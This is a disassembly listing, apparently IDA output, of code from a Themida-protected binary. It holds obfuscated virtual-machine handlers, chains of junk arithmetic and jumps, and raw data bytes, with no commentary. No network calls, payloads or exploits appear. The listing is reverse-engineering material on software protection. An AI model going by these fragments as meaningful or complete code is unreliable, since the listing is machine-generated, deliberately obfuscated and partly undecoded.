loc_5940E2:				; CODE XREF: Themida_:0058BA2Ej
		sub	ebp, 0FFFFFFFFh
		and	ebp, 284340Ch
		not	ebp
		inc	ebp
		jmp	loc_58FDEA
; ---------------------------------------------------------------------------
		db 0E9h
		dd 0FFFFB302h, 922D5B68h, 424A5A35h, 2797CA81h,	85E9115Dh
		dd 0FFFFFFDEh, 34FF2434h, 24048B24h, 57E28952h,	4B951h
		dd 0CF890000h, 0B0E95159h
		db 0BAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_594127:				; CODE XREF: Themida_:0058DB14j
		mov	esp, [esp]
		and	eax, ebp
		jmp	loc_58C119
; ---------------------------------------------------------------------------


loc_594131:				; CODE XREF: Themida_:00591EE2j
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 0E526BC8h
		jmp	loc_58CB31
; ---------------------------------------------------------------------------


loc_594144:				; CODE XREF: Themida_:0058F69Bj
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	ecx
		sub	esp, 4
		mov	[esp], edi
		jmp	loc_597D55
; ---------------------------------------------------------------------------
		dw 4BBh
		dd 1000000h, 241C8BDEh,	0FFEDADE9h, 0EC8159FFh,	4, 81242C89h
		dd 4ECh, 24248900h, 4240483h, 0D4BE565Dh, 0F70B6C50h, 0BC681DEh
		dd 8179ED0Dh, 0E9361BF6h, 0A2F68142h, 81102A27h, 43AD8AF6h
		dd 8F4FE93Ch, 34FFFFFFh, 2434FF24h, 0E0895058h,	0E42E9h
		dd 3CBF5700h, 0BD53DF34h, 777E653Bh, 0C15FFD31h, 0E95108E5h
		dd 33BEh, 240C8758h, 240CD35Ch,	60F8E99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5941D6:				; CODE XREF: Themida_:005916BFj
		pop	ecx
		push	esi
		mov	esi, esp
		add	esi, 4
		push	edx
		mov	edx, 4
		add	esi, edx
		jmp	loc_58D92B
; ---------------------------------------------------------------------------
		db 81h,	0ECh, 4
		dd 0E9000000h, 16D8h, 0E9240C87h, 0FFFFD295h
; ---------------------------------------------------------------------------


loc_594200:				; CODE XREF: Themida_:0059283Aj
		ja	loc_591149
		sub	ebx, 1411871Fh
		and	ecx, ebx
		mov	ebx, [esp]
		push	ebx
		mov	ebx, esp
		sub	ecx, ebp
		pop	ebp
		xor	ecx, [esp]
		jmp	loc_5915DB
; ---------------------------------------------------------------------------
		db 55h
		dd 0CC1EF1BDh, 8EDC140h, 0CC1AF581h, 0EB010040h, 4EB815Dh
		dd 87000000h, 9BE9241Ch
		db 2Bh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_59423F:				; CODE XREF: Themida_:00594714j
		not	eax
		jmp	loc_590631
; ---------------------------------------------------------------------------
		dw 7868h
		dd 89000019h, 5052240Ch, 88F8B753h, 0BAE95BFCh,	0F7FFFFEFh
		dd 1636E9DEh, 0F75F0000h, 0FFEB81DBh, 81FFFFFFh, 0E6F0CEF3h
		dd 5BDE2983h, 5652FE29h, 0FF75D7E9h, 2BF57FFh, 81000000h
		dd 1069F7C3h, 0E9FB011Fh, 10DAh
; ---------------------------------------------------------------------------


loc_594290:				; CODE XREF: Themida_:00592B9Cj
		mov	esp, [esp]
		mov	[esp], eax
		jmp	loc_58A801
; ---------------------------------------------------------------------------
		db 81h
		dd 0C80434E7h, 0B6880F30h, 81FFFFDFh, 0D06334C7h, 0B6FCE968h
		dd 148BFFFFh, 4C48124h,	0E9000000h, 3D37h
; ---------------------------------------------------------------------------


loc_5942C0:				; CODE XREF: Themida_:00597BF4j
		add	esp, 4
		or	edx, eax
		shl	edx, 1
		push	7BF0h
		mov	[esp], ecx
		sub	esp, 4
		mov	[esp], edx
		push	1
		pop	edx
		jmp	loc_58B7F4
; ---------------------------------------------------------------------------


loc_5942E3:				; CODE XREF: Themida_:0058D857j
		push	ebp
		mov	ebp, 56B579BBh
		shr	ebp, 6
		xor	ebp, 34C522DBh
		neg	ebp
		add	ebp, 32727084h
		shl	ebp, 1
		add	ebp, 52D17DF8h
		jmp	loc_5939EA
; ---------------------------------------------------------------------------


loc_594307:				; CODE XREF: Themida_:0058A78Cj
		push	edi
		mov	edi, 8DF9C78Eh
		jmp	loc_5964B8
; ---------------------------------------------------------------------------
		dw 48Fh
		dd 0EB55E924h, 815DFFFFh, 7A4E2404h, 0A7E907D1h, 0BBFFFF5Fh
		dd 2Ch,	39E1C381h, 0EB817AF4h, 19387EE3h, 0C381FB01h, 19387EE3h
		dd 4EC81h, 34890000h, 5FDBBE24h, 0EEC1341Eh, 2030E903h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_594356:				; CODE XREF: Themida_:005939FEj
		pop	ebx
		mov	edi, ebp
		jmp	loc_59798B
; ---------------------------------------------------------------------------
		dw 4BFh
		dd 1000000h, 243C8BFEh,	5004C483h, 0FFA0CCE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_594371:				; CODE XREF: Themida_:0058A896j
		sub	bl, cl
		pop	cx
		sub	bl, 66h
		movzx	eax, al
		mov	dx, [esp]
		push	edi
		push	esp
		pop	edi
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_58C7DE
; ---------------------------------------------------------------------------


loc_594390:				; CODE XREF: Themida_:00595435j
		mov	ecx, [esp]
		add	esp, 4
		pop	edx
		sub	al, bl
		jmp	loc_58B632
; ---------------------------------------------------------------------------
		dw 565Fh
		dd 0C681E689h, 4, 4B951h, 0CE010000h, 74FF5659h, 8F5E0424h
		dd 4FE92404h
		db 0CAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5943BF:				; CODE XREF: Themida_:00596CC4j
		push	3DFDh
		mov	[esp], eax
		jmp	loc_58F259
; ---------------------------------------------------------------------------


loc_5943CC:				; CODE XREF: Themida_:0058FD8Bj
		pop	eax
		jmp	loc_5916CB
; ---------------------------------------------------------------------------
		dw 8957h
		dd 36CE9E7h, 0EE810000h, 718E0A0Fh, 1419BF57h, 69E971F2h
		dd 8BFFFFA3h, 0CE92404h
		db 0E2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5943F3:				; CODE XREF: Themida_:loc_58F12Aj
		shl	ecx, 2
		jns	loc_58CBED
		add	ecx, 0E4CF820Dh
		mov	esi, ecx
		pop	ecx
		jmp	loc_590CB7
; ---------------------------------------------------------------------------


loc_59440A:				; CODE XREF: Themida_:00597F92j
		dec	esi
		xor	esi, 607021C3h
		xor	edx, esi
		pop	esi
		sub	edx, 6A2E8DF8h
		and	ebx, edx
		pop	edx
		or	ebx, 54685089h
		shr	ebx, 6
		add	ebx, 48E8AEC6h
		sub	ebp, ebx
		pop	ebx
		sub	esi, 2CFD2B33h
		add	esi, 220B2D76h
		jmp	loc_58D27D
; ---------------------------------------------------------------------------


loc_594440:				; CODE XREF: Themida_:005970ABj
		push	156h
		mov	[esp], ecx
		mov	ecx, 65526119h
		jmp	loc_597A80
; ---------------------------------------------------------------------------
		dw 0CF80h
		dd 3EFC04Bh, 0DFEF80h, 241C8BF8h, 1214E951h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_594466:				; CODE XREF: Themida_:00592E3Dj
		mov	esi, esp
		jmp	loc_58EB1F
; ---------------------------------------------------------------------------


loc_59446D:				; CODE XREF: Themida_:00590DA1j
		pop	edx
		xchg	ebx, [esp]
		jmp	loc_58C51B
; ---------------------------------------------------------------------------


loc_594476:				; CODE XREF: Themida_:0058FE5Bj
		jmp	loc_5909F8
; ---------------------------------------------------------------------------
		db 57h
		dd 4BFh, 81E95700h, 0FF000001h,	0E9042474h, 0FFFF6E26h
; ---------------------------------------------------------------------------


loc_594490:				; CODE XREF: Themida_:0059145Dj
		mov	eax, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		jmp	loc_592CAD
; ---------------------------------------------------------------------------
		db 81h
		dd 2CD789EEh, 78A205C1h, 0BE05140Ch, 0E95F5D17h, 2715h
; ---------------------------------------------------------------------------


loc_5944BC:				; CODE XREF: Themida_:0058D934j
		pop	ebx
		add	esp, 4
		jmp	loc_58F42A
; ---------------------------------------------------------------------------
		dd 0FFD066E9h, 48B66FFh, 4EA76824h, 0B0E90000h,	66000000h
		dd 57240C8Bh, 33F4E9h
		db 0
; ---------------------------------------------------------------------------


loc_5944E5:				; CODE XREF: Themida_:0058F1D6j
		or	eax, eax
		jz	loc_58F5B5
		push	dword ptr [edi+1Ch]
		jmp	loc_5904E6
; ---------------------------------------------------------------------------
		db 53h,	0BBh, 0D3h
		dd 0F755B465h, 43870FDBh, 0F7FFFFB3h, 0DDC381D3h, 0F41EA2Dh
		dd 0FFA35983h, 0ABEB81FFh, 0E9296387h, 0FFFF9629h, 8F665966h
		dd 53662404h, 2BB66h, 246C8166h, 6619D602h, 2245C01h, 24448166h
		dd 6619D602h, 0A24DE95Bh, 8868FFFFh, 89000054h,	2BA2414h
		dd 1000000h, 2C335AD5h,	242C3124h, 8B242C33h, 89562424h
		dd 2403E9E6h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_594566:				; CODE XREF: Themida_:0058F125j
		push	eax
		mov	eax, 599D6AFEh
		jmp	loc_59572E
; ---------------------------------------------------------------------------
		db 59h,	8Ah, 7Ch
		dd 64880224h, 0DEE90224h, 80000026h, 68667EE7h,	21E95084h
		dd 89000029h, 46E9242Ch, 0FFFFFD5h, 0FFEFFF87h,	3FCE9FFh
		dd 0FEB60000h, 0F18BCEFEh
		db 88h,	0DDh
; ---------------------------------------------------------------------------


loc_5945A6:				; CODE XREF: Themida_:0058DE87j
		pop	ebp
		mov	dword ptr [edx], 1
		mov	edx, [esp]
		add	esp, 4
		push	esi
		mov	esi, 7E0C27E0h
		sub	esi, 3BCF57CAh
		jbe	loc_592268
		shl	esi, 3
		jmp	loc_597C92
; ---------------------------------------------------------------------------
		dd 8103E9C1h, 0B0A706F1h, 0E9C88939h, 0FFFF9D20h
; ---------------------------------------------------------------------------


loc_5945E0:				; CODE XREF: Themida_:0058B09Cj
		shr	edi, 6
		sub	edi, 71E80F89h
		jmp	loc_592F62
; ---------------------------------------------------------------------------
		dw 5E68h
		dd 0E924633Fh, 0FFFFBC2Bh
; ---------------------------------------------------------------------------


loc_5945F8:				; CODE XREF: Themida_:00593232j
		push	esi
		mov	esi, esp
		push	ebx
		mov	ebx, 4
		add	esi, ebx
		jmp	loc_597166
; ---------------------------------------------------------------------------
		dd 0B1E8E959h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59460E:				; CODE XREF: Themida_:0058D43Aj
		push	eax
		mov	eax, 4
		sub	esi, eax
		jmp	loc_58B2C6
; ---------------------------------------------------------------------------
		db 68h
		dd 36A4h, 0BF243C89h, 3F122986h, 8107E7C1h, 7245DCE7h
		dd 92F78149h, 15C8522h,	37E95FF9h, 53FFFF70h, 2236E9h
		dd 0E9982C00h, 0FFFFD347h
; ---------------------------------------------------------------------------


loc_59464C:				; CODE XREF: Themida_:0058EBF9j
		pop	edx
		add	ebp, edi
		jmp	loc_58B21A
; ---------------------------------------------------------------------------


loc_594654:				; CODE XREF: Themida_:005946AEj
		push	ebx
		mov	ebx, 4
		add	edx, ebx
		push	dword ptr [esp]
		pop	ebx
		jmp	loc_58EBB5
; ---------------------------------------------------------------------------
		db 81h,	0C2h, 79h
		dd 89D922E3h, 0D9F75AD1h, 3500E9h
		db 0
; ---------------------------------------------------------------------------


loc_594675:				; CODE XREF: Themida_:0058B360j
		add	edx, edi
		jmp	loc_58B9C9
; ---------------------------------------------------------------------------
		dd 56E9C381h, 0E9568CE2h, 0FFFF6F27h
; ---------------------------------------------------------------------------


loc_594688:				; CODE XREF: Themida_:00592B93j
		mov	ebp, 615E7027h
		or	eax, ebp
		pop	ebp
		xor	eax, 0B4449CC9h
		sub	ebp, eax
		pop	eax
		jmp	loc_597C14
; ---------------------------------------------------------------------------
		db 57h,	56h, 0BEh
		dd 6BE54E83h, 0FF8CE5E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5946A9:				; CODE XREF: Themida_:00595C13j
		mov	[esp], edx
		push	esp
		pop	edx
		jmp	loc_594654
; ---------------------------------------------------------------------------


loc_5946B3:				; CODE XREF: Themida_:00596650j
		movzx	eax, al
		jmp	dword ptr [edi+eax*4]
; ---------------------------------------------------------------------------
		db 61h,	0E9h, 95h
		db 0A0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5946BF:				; CODE XREF: Themida_:0058C4B6j
		xchg	esi, [esp]
		pop	esp
		push	ebp
		push	ecx
		mov	ecx, 7D0878FBh
		mov	ebp, ecx
		pop	ecx
		shr	ebp, 2
		jnp	loc_58DFBD
		jmp	loc_590118
; ---------------------------------------------------------------------------
		db 0F7h
		dd 34FF241Ch
		db 24h,	8Bh, 0CFh
; ---------------------------------------------------------------------------


loc_5946E3:				; CODE XREF: Themida_:0058D389j
		pop	edx
		pop	ecx
		add	eax, ecx
		push	ecx
		push	0F372D67h
		pop	ecx
		jmp	loc_59615A
; ---------------------------------------------------------------------------


loc_5946F3:				; CODE XREF: Themida_:00592D47j
		jmp	loc_5909F8
; ---------------------------------------------------------------------------
		dd 1068E389h, 8900004Ah, 0E8BF243Ch, 0E946F60Eh, 0FFFF77EAh
; ---------------------------------------------------------------------------


loc_59470C:				; CODE XREF: Themida_:0058B600j
		shl	eax, 1
		jnp	loc_590EDD
		jmp	loc_59423F
; ---------------------------------------------------------------------------


loc_594719:				; CODE XREF: Themida_:00597D02j
		sub	ebp, 4291057Dh
		jnz	loc_5955E8
		add	ebp, 0F4D74686h
		mov	ebx, ebp
		pop	ebp
		inc	ebx
		xchg	ebp, ebx
		not	ebp
		pop	edx


loc_594734:				; CODE XREF: Themida_:0058D056j
		mov	ebp, eax
		pop	eax
		sub	[edi+24h], ebp
		push	dword ptr [esp]
		mov	ebp, [esp]
		push	ebx
		jmp	loc_58C450
; ---------------------------------------------------------------------------
		dw 0C781h
		dd 4, 0FFF533E9h, 60B951FFh, 491D527Eh,	0BF575541h, 57975120h
		dd 0C6E9FD89h, 2DFFFFD8h, 4, 5C240487h,	24048F54h, 4BB53h
		dd 5C010000h, 0E95B0424h, 0FFFFEB30h, 8904EC83h, 0B050240Ch
		dd 0E9C8FE27h, 0FFFFF4B8h, 0B4240489h, 0F685E918h, 0EEC0FFFFh
		dd 8B850F04h, 80FFFFCCh, 5CE94CF6h, 0B3FFFFA9h,	28E6B5C7h
		dd 0C8B66EBh, 2C48324h,	801EB151h, 0CB002FC1h, 0FFE3F7E9h
		dd 0C99BE9FFh, 0EC81FFFFh, 4, 0E9241489h, 0FFFF91D9h
; ---------------------------------------------------------------------------


loc_5947DC:				; CODE XREF: Themida_:0058B734j
		jp	loc_58BB23
		or	dl, 81h
		jnp	loc_596CA1
		push	ebx
		mov	bl, 1Ch
		not	bl
		jmp	loc_58FB47
; ---------------------------------------------------------------------------
		db 59h,	8Bh, 0CEh
; ---------------------------------------------------------------------------


loc_5947F8:				; CODE XREF: Themida_:0058D5E9j
		pop	esi
		add	ebx, edi
		sub	ebx, 40314BC9h
		jmp	loc_58F7A5
; ---------------------------------------------------------------------------


loc_594806:				; CODE XREF: Themida_:0058CBF6j
		add	esi, 644E1B53h
		push	eax
		jmp	loc_58B51F
; ---------------------------------------------------------------------------


loc_594812:				; CODE XREF: Themida_:0058E92Cj
		pop	ebp
		mov	ecx, ebp
		pop	ebp
		jmp	loc_59168F
; ---------------------------------------------------------------------------


loc_59481B:				; CODE XREF: Themida_:0058BDD5j
		add	edi, 1CEA6F0Dh
		sub	edi, 7B762154h
		xor	edi, 73C754D7h
		jmp	loc_5921A6
; ---------------------------------------------------------------------------
		dw 0B850h
		dd 32BB0C87h, 0F215592Dh, 2DD0F717h, 36AB583Eh,	3189E9h
		dd 5905BB00h, 5C295D52h, 295B0824h, 5604246Ch, 237BE9h
		dd 8BE58100h, 0E95C543Eh, 2511h
; ---------------------------------------------------------------------------


loc_594868:				; CODE XREF: Themida_:0058DFADj
		mov	edx, esi
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		and	eax, edx
		pop	edx
		or	edx, eax
		shl	edx, 1
		push	dword ptr [edi+24h]
		jmp	loc_58C8BC
; ---------------------------------------------------------------------------


loc_594880:				; CODE XREF: Themida_:005924C0j
		not	edi
		jmp	loc_593F00
; ---------------------------------------------------------------------------


loc_594887:				; CODE XREF: Themida_:0058EC53j
		push	edx
		add	dword ptr [esp], 2BEF5894h
		pop	eax
		sub	eax, 2BEF5894h
		jmp	loc_596AAC
; ---------------------------------------------------------------------------


loc_59489A:				; CODE XREF: Themida_:0058B77Aj
		mov	[esp], eax
		mov	eax, 1
		mov	edx, eax
		mov	eax, [esp]
		jmp	loc_596173
; ---------------------------------------------------------------------------


loc_5948AC:				; CODE XREF: Themida_:005932A8j
		sub	ecx, 31B152B2h
		jmp	loc_5953C4
; ---------------------------------------------------------------------------


loc_5948B7:				; CODE XREF: Themida_:00595E06j
		sub	esp, 4
		mov	[esp], ebp
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ebp
		push	eax
		mov	eax, 4
		sub	ebp, 68B54411h
		jmp	loc_596928
; ---------------------------------------------------------------------------
		db 66h
		dd 662645BDh, 7EE9E5D1h, 0C1FFFFDAh, 0D3F703EBh, 2972B951h
		dd 0D9F759CCh, 0C1D1F741h, 89E904E1h, 83FFFFD4h, 0CE904ECh
		db 5Eh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59490B:				; CODE XREF: Themida_:0058CCBFj
					; Themida_:0058F119j
		jmp	loc_58A2CE
; ---------------------------------------------------------------------------
		dd 0FF2434FFh, 148B2434h, 4C48124h, 56000000h, 0C681E689h
		dd 4, 3304C683h, 34312434h, 734DE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_594936:				; CODE XREF: Themida_:0059209Cj
		push	eax
		jmp	loc_59366E
; ---------------------------------------------------------------------------


loc_59493C:				; CODE XREF: Themida_:005975B3j
		mov	edx, [esp]
		add	esp, 4
		add	al, bh
		mov	ebx, [esp]
		add	esp, 4
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		pop	esp
		mov	[esp], ebx
		mov	bl, 35h
		push	eax
		mov	al, 0EBh
		inc	al
		xchg	cl, al
		jmp	loc_58C03A
; ---------------------------------------------------------------------------


loc_594971:				; CODE XREF: Themida_:00591B9Bj
		add	edi, 25200235h
		neg	edi
		jge	loc_591909
		xor	edi, 0AFCAA726h
		push	edi
		pop	esi
		pop	edi
		mov	edx, esi
		mov	esi, [esp]
		add	esp, 4
		add	edx, edi
		jmp	loc_590E7D
; ---------------------------------------------------------------------------
aSd		db '^ι„)',0
		align 10h
		dd 40E9FE87h
		db 1Ch,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5949A7:				; CODE XREF: Themida_:0058BB01j
		pop	ecx
		add	bl, al
		jmp	loc_591EF3
; ---------------------------------------------------------------------------
		db 81h
		dd 2E09B2CEh, 0C523E95Dh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5949BA:				; CODE XREF: Themida_:0058FDF2j
		and	ebp, edx
		jmp	loc_595EED
; ---------------------------------------------------------------------------


loc_5949C1:				; CODE XREF: Themida_:0058A94Fj
		add	esp, 4
		shr	eax, 0Ah
		xor	eax, ecx
		push	5612h
		jmp	loc_597D77
; ---------------------------------------------------------------------------
		db 81h
		dd 71A2B7F3h, 4EC8354h,	0E9241489h, 0FFFF968Ah
; ---------------------------------------------------------------------------


loc_5949E4:				; CODE XREF: Themida_:0058EEE1j
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		sub	esp, 4
		mov	[esp], ebp
		sub	esp, 4
		mov	[esp], esp
		jmp	loc_58B6B0
; ---------------------------------------------------------------------------
		dd 24048B66h, 0FF7B6AE9h, 0E9FA01FFh, 0FFFFAD3Bh
; ---------------------------------------------------------------------------


loc_594A14:				; CODE XREF: Themida_:0059591Cj
		mov	ebx, ecx
		pop	ecx
		shl	ebx, 7
		not	ebx
		inc	ebx
		add	ebx, 719BFD82h
		add	ecx, ebx
		pop	ebx
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		jmp	loc_58DFDF
; ---------------------------------------------------------------------------
		dd 507240BDh, 7B6E91Ah
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_594A3E:				; CODE XREF: Themida_:0058D62Bj
		shr	eax, 6
		jmp	loc_58C546
; ---------------------------------------------------------------------------


loc_594A46:				; CODE XREF: Themida_:0058DD5Ej
					; Themida_:00593ABFj
		push	ecx
		mov	ch, 47h
		jmp	loc_58C7F9
; ---------------------------------------------------------------------------


loc_594A4E:				; CODE XREF: Themida_:00595741j
		push	eax
		mov	eax, 4
		jmp	loc_592B87
; ---------------------------------------------------------------------------
		db 0C0h, 0E4h, 3
		dd 0FFB478E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_594A61:				; CODE XREF: Themida_:0058EC99j
		push	ax
		mov	ah, 66h
		add	cl, ah
		jmp	loc_593F42
; ---------------------------------------------------------------------------


loc_594A6C:				; CODE XREF: Themida_:00590A48j
		add	ebx, 4
		push	edx
		mov	edx, 4
		add	ebx, edx
		pop	edx
		xchg	ebx, [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], edi
		push	ebp
		push	esi
		push	547819ABh
		pop	esi
		mov	ebp, esi
		pop	esi
		shr	ebp, 3
		push	53B8h
		mov	[esp], edx
		mov	edx, 282D4C8Ch
		sub	ebp, edx
		pop	edx
		add	ebp, 500D551Eh
		jns	loc_596ACF
		add	ebp, 76162828h
		jmp	loc_5923DB
; ---------------------------------------------------------------------------
		db 0C6h, 0C1h, 0D0h
		dd 0F1804EB1h, 59CB28AEh, 0CEB80h, 0CC380C3h, 0E0B15166h
		dd 27F5E9h, 84820F00h, 0E9000003h, 0FFFF891Ch, 0EF88F789h
		dd 0EA814BB3h, 0D607D4h, 5F2434FFh, 5004C483h, 0FFE5A6E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_594AFD:				; CODE XREF: Themida_:0058FAD7j
		and	ebp, esi
		pop	esi
		xor	ebp, 70252284h
		add	ecx, ebp
		mov	ebp, [esp]
		add	esp, 4
		xchg	ecx, [esp]
		mov	esp, [esp]
		jmp	loc_591D0B
; ---------------------------------------------------------------------------
		db 0E9h, 5Ch, 0F0h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_594B1E:				; CODE XREF: Themida_:0059666Cj
		mov	[esp], ebp
		mov	ebp, 5EB64723h
		jmp	loc_58EB69
; ---------------------------------------------------------------------------


loc_594B2B:				; CODE XREF: Themida_:loc_58CED7j
					; Themida_:00597E19j
		push	ecx
		push	edi
		mov	edi, 2810337Eh
		jmp	loc_58D2DA
; ---------------------------------------------------------------------------


loc_594B37:				; CODE XREF: Themida_:00594FE4j
		pop	eax
		jmp	loc_597062
; ---------------------------------------------------------------------------
		db 0FEh, 0C7h, 80h
		dd 0F9885BF7h, 8BC8305Bh, 66E9240Ch
		db 7Ah,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_594B4F:				; CODE XREF: Themida_:0058D15Fj
		push	esp
		pop	ecx
		add	ecx, 4
		push	edi
		push	esi
		jmp	loc_597E45
; ---------------------------------------------------------------------------


loc_594B5E:				; CODE XREF: Themida_:0059201Dj
		mov	ecx, esp
		jmp	loc_595705
; ---------------------------------------------------------------------------
		db 0BBh, 0F4h, 74h
		dd 0F381564Dh, 4B7420AEh, 1C8BD889h, 4C48124h, 2D000000h
		dd 396524E6h, 776DBB53h, 0D831C1C8h, 0FFCB4CE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_594B8D:				; CODE XREF: Themida_:00592411j
		sub	esi, eax
		pop	eax
		and	esi, 688F04B7h
		jmp	loc_595258
; ---------------------------------------------------------------------------


loc_594B9B:				; CODE XREF: Themida_:005914E4j
		add	ebp, 0A2706DBh
		sub	edx, 5B8A3F89h
		jmp	loc_58A9A8
; ---------------------------------------------------------------------------


loc_594BAC:				; CODE XREF: Themida_:00596835j
		neg	eax
		jbe	loc_58C72E
		add	eax, 0B13531EBh
		jmp	loc_590C11
; ---------------------------------------------------------------------------
		dw 0CEE9h
		db 0D2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_594BC3:				; CODE XREF: Themida_:00593C14j
		jmp	loc_591954
; ---------------------------------------------------------------------------
		dd 4B850h, 0C3010000h, 5B686858h, 3C890000h, 76E95124h
		db 0BDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_594BDF:				; CODE XREF: Themida_:00590C59j
		push	edx
		mov	edx, 7E802668h
		inc	edx
		xchg	eax, edx
		not	eax
		xchg	eax, edx
		inc	edx
		shl	edx, 3
		shr	edx, 5
		add	edx, 61CCE833h
		add	ebx, edx
		pop	edx
		xor	ebp, ebx
		mov	ebx, [esp]
		add	esp, 4
		push	edx
		push	esi
		mov	esi, 0
		push	esi
		pop	edx
		pop	esi
		sub	edx, ebp
		jmp	loc_597832
; ---------------------------------------------------------------------------


loc_594C16:				; CODE XREF: Themida_:0058CE85j
		xchg	ecx, [esp]
		pop	esp
		div	cl
		movzx	cx, ah
		push	554Bh
		mov	[esp], esi
		push	esp
		pop	esi
		push	eax
		jmp	loc_58D085
; ---------------------------------------------------------------------------


loc_594C30:				; CODE XREF: Themida_:0058E924j
		mov	edi, 7D13274Ch
		inc	edi
		push	ecx
		jmp	loc_593320
; ---------------------------------------------------------------------------


loc_594C3C:				; CODE XREF: Themida_:00596EFEj
		add	dword ptr [esp], 4CB11663h
		pop	ecx
		push	edi
		push	edx
		push	17B94C21h
		pop	edx
		jmp	loc_5972E7
; ---------------------------------------------------------------------------


loc_594C51:				; CODE XREF: Themida_:0058BC18j
		jmp	loc_58B9A8
; ---------------------------------------------------------------------------


loc_594C56:				; CODE XREF: Themida_:0058A7FCj
		xor	edi, 5BBE7399h
		neg	edi
		jmp	loc_593C61
; ---------------------------------------------------------------------------
		db 56h
		dd 0C681E689h, 4, 0E902EE83h, 0FFFFD6ADh
; ---------------------------------------------------------------------------


loc_594C74:				; CODE XREF: Themida_:00590F82j
		push	edx
		mov	edx, 4F8F6799h
		mov	esi, edx
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		sub	esi, 4F8F6798h
		push	esi
		push	ebp
		mov	ebp, 6F646A69h
		sub	[esp+4], ebp
		pop	ebp
		pop	eax
		add	eax, 6F646A69h
		pop	esi
		shl	eax, cl
		push	24B0h
		mov	[esp], edi
		mov	edi, 0FFFFFFFFh
		jmp	loc_58A7D7
; ---------------------------------------------------------------------------


loc_594CB3:				; CODE XREF: Themida_:loc_590EDDj
		jmp	loc_58C4FF
; ---------------------------------------------------------------------------
		dd 5C243C87h, 0FF560DE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_594CC1:				; CODE XREF: Themida_:0059634Ej
		add	eax, ebx
		pop	ebx
		push	edi
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 784120C6h
		push	ebp
		pop	edi
		jmp	loc_59242F
; ---------------------------------------------------------------------------


loc_594CDA:				; CODE XREF: Themida_:00596503j
		pop	edi
		add	ecx, 9B24B80h
		pop	eax
		push	4F17h
		mov	[esp], ebp
		push	38F32868h
		mov	ebp, [esp]
		jmp	loc_591B1E
; ---------------------------------------------------------------------------


loc_594CF7:				; CODE XREF: Themida_:00591062j
		mov	ebp, 1A661CA9h
		mov	ebx, 80F9793Ch
		add	ebx, 5BC2138Eh
		sub	ebx, ebp
		sub	ebx, 5BC2138Eh
		mov	ebp, [esp]
		add	esp, 4
		sub	ebx, 61EE235Ch
		push	eax
		mov	eax, 61F1195Ah
		jmp	loc_58CBA4
; ---------------------------------------------------------------------------


loc_594D26:				; CODE XREF: Themida_:00595533j
		mov	esp, [esp]
		idiv	cl
		movzx	cx, ah
		push	small 3F55h
		mov	[esp], cx
		movzx	cx, al
		jmp	loc_593D44
; ---------------------------------------------------------------------------


loc_594D40:				; CODE XREF: Themida_:00595118j
		pop	esp
		push	esi
		mov	esi, 2AEF3068h
		add	edi, esi
		pop	esi
		push	esi
		mov	esi, 19742664h
		or	edi, esi
		pop	esi
		not	edi
		xor	edi, 0A002891Ah
		add	ebp, edi
		mov	edi, [esp]
		add	esp, 4
		xchg	ebp, [esp]
		jmp	loc_58D8E9
; ---------------------------------------------------------------------------
		db 0B8h
		dd 4, 8158C101h, 4C1h, 74FF5100h, 8F590424h, 248B2404h
		dd 4EC8324h, 68242C89h,	57B44BA4h, 0B2E9535Dh, 83FFFFFAh
		dd 348904ECh, 20DBE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_594DA2:				; CODE XREF: Themida_:00595FBFj
		pop	esi
		push	ecx
		jmp	loc_58B605
; ---------------------------------------------------------------------------


loc_594DA9:				; CODE XREF: Themida_:00597273j
		xor	eax, edx
		pop	edx
		sub	eax, 0FFFFFFFFh
		push	eax
		not	dword ptr [esp]
		pop	eax
		not	eax
		shr	eax, 8
		add	eax, 2BBFF521h
		add	ebp, eax
		pop	eax
		sub	ebp, 49943014h
		add	ebp, ecx
		add	ebp, 49943014h
		jmp	loc_591954
; ---------------------------------------------------------------------------
		dw 0E605h
		dd 0E90D2E09h, 0FFFF8AE3h
; ---------------------------------------------------------------------------


loc_594DE0:				; CODE XREF: Themida_:00597E0Ej
		mov	[esp], ebx
		jmp	loc_5931A2
; ---------------------------------------------------------------------------
		dd 875AD329h, 895C241Ch, 74FF243Ch, 3C8B0424h
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_58C71E
; ---------------------------------------------------------------------------
